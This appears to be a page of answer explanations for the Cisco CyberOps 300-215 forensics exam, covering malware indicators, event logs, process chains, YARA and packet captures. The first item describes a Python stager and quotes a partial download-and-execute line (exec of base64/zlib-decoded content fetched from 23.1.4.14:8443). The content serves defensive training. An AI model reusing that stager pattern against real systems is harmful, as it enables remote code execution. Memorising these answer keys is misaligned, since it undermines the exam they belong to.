Pass the Cisco CyberOps Professional 300-215 Questions and answers with ExamsMirror

This Python script uses a combination of libraries (urllib, zlib, base64, and ssl) to:

Disable SSL certificate verification (ssl.CERT_NONE and check_hostname=False).

Construct a custom HTTPS opener with the specified SSL context.

Add a forged User-Agent header to mimic Internet Explorer 11.

Connect to the URL https://23.1.4.14:8443 .

Download and execute base64-encoded and zlib-compressed content from that URL using:

exec(zlib.decompress(base64.b64decode(...).read()))

This shows a classic example of:

Downloading payloads from a remote server (23.1.4.14:8443).

Avoiding detection by disabling SSL verification.

Executing the payload dynamically with exec() after decoding and decompressing.

The main goal is clearly to initiate a connection to a remote command-and-control (C2) server on port 8443 and download/execute additional code.

Hence, the correct answer is: A. Initiate a connection to 23.1.4.14 over port 8443.

According to the event log, a suspicious service was installed (DIAOHHNMPMMRgji) with a service file pointing to a remote share (\\127.0.0.1\admin$\EqnBqKWm.exe). This type of activity strongly suggests:

A. Unauthorized system modification: Installation of a service without proper authorization, especially with a random or obfuscated name, directly fits the description of system modification. The use of admin$ (administrative share) further implies this wasn't part of standard operations.

E. Malware outbreak: The use of a service that points to an executable with a seemingly random name and the demand start configuration indicate a potential backdoor or remote-controlled malware. As stated in the Cisco CyberOps Associate guide, event ID 7045 with unusual service names or file paths is a strong Indicator of Compromise (IoC) for malware or persistence mechanisms.

Options like privilege escalation or DoS are not directly evidenced in the event log shown. There's no indication that the LocalSystem account was elevated beyond its default, nor that system resources were overwhelmed (as would be typical in DoS).

The best immediate step during a DDoS attack against an Apache web server is to inspect the access logs, which will show which IP addresses are making requests, their frequency, and potential patterns of abuse. As covered in the Cisco CyberOps material, "Apache logs can reveal the IPs responsible for flooding the service with requests". The command sudo tail -100 /var/log/apache2/access.log allows quick review of recent activity.

The observed process tree (AcroRd32.exe → cmd.exe → powershell.exe) strongly suggests malicious behavior, particularly in PDF-based malware attacks leveraging embedded scripts or exploits.

A is correct: Submitting the suspicious PDF to Cisco Threat Grid allows sandbox analysis to detect hidden malicious behaviors.

D is correct: The suspicious activity warrants quarantining the host to contain potential spread or further compromise.

If IPS and SIEM logs do not give enough insight into a file's behavior, the next logical step is to review the Antivirus solution logs. These logs often provide detailed behavior analytics such as:

File actions and access patterns

Registry modifications

File execution history

The Cisco CyberOps guide emphasizes AV logs as critical forensic artifacts for understanding endpoint-based infections, especially when beaconing or suspicious activity is suspected.

According to the CyberOps Technologies (CBRFIR) 300-215 study guide curriculum, when analyzing suspicious behavior—especially when scripts or shell commands are executed from applications like Word (which is uncommon)—the encoded PowerShell payload must be decoded to determine if malicious intent is present. Deobfuscation is a critical step in identifying command-and-control behavior, persistence, or malware execution paths.

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YARA rules are pattern-matching rules used to identify malware based on specific strings, conditions, and binary patterns. They are most effective in memory or file scans where analysts search for known indicators or unique signatures via string matching.

Correct answer: C. string matching.

The Wireshark capture shows a series of HTTP requests and responses:

The client (10.1.21.101) sends a GET request for /Lk9tdZ.

The server (209.141.51.196) responds with HTTP/1.1 302 Found, which is a standard HTTP status code indicating a redirection.

The subsequent GET request from the client is for /files/1.bin, which indicates it followed the redirect.

This behavior confirms that the server is issuing an HTTP 302 redirect from the initial request path /Lk9tdZ to /files/1.bin. This is often observed in malware command-and-control behavior or file download staging.

Option A is incorrect: 302 is a status code, not a data size.

Option C is incorrect: port 49723 is a source/destination ephemeral port, not a redirect target.

Option D is incorrect: communication is over HTTP, not HTTPS (which would indicate encryption).

The exhibit shows a series of process executions that form a suspicious chain involving scripting engines and obfuscated commands:

One critical indicator is cmd.exe executing PowerShell with obfuscated (Base64-encoded) arguments. The use of Base64 is a known method used by attackers to mask malicious commands. This aligns with attack techniques defined under MITRE ATT&CK T1059 (Command and Scripting Interpreter) and T1086 (PowerShell abuse). Therefore, option D is valid.

Another important IOC is WScript.exe acting as a parent of cmd.exe, which is abnormal in typical business environments. This indicates potential misuse of Windows Script Host (WSH) to launch commands, often seen in phishing or malware dropper scenarios. Thus, option E is also valid.

Options A and B by themselves are not definitive IOCs—PowerShell and cmd.exe are legitimate administrative tools and frequently used in Windows environments.

Option C is not supported by the exhibit—the reverse (powershell.exe initiated by WScript.exe) is what's seen, not the other way around.

These patterns align with the CyberOps Technologies (CBRFIR) 300-215 study guide, which specifies that chaining of interpreters (e.g., WScript → cmd → PowerShell) with encoded commands is a key indicator of compromise during forensic analysis.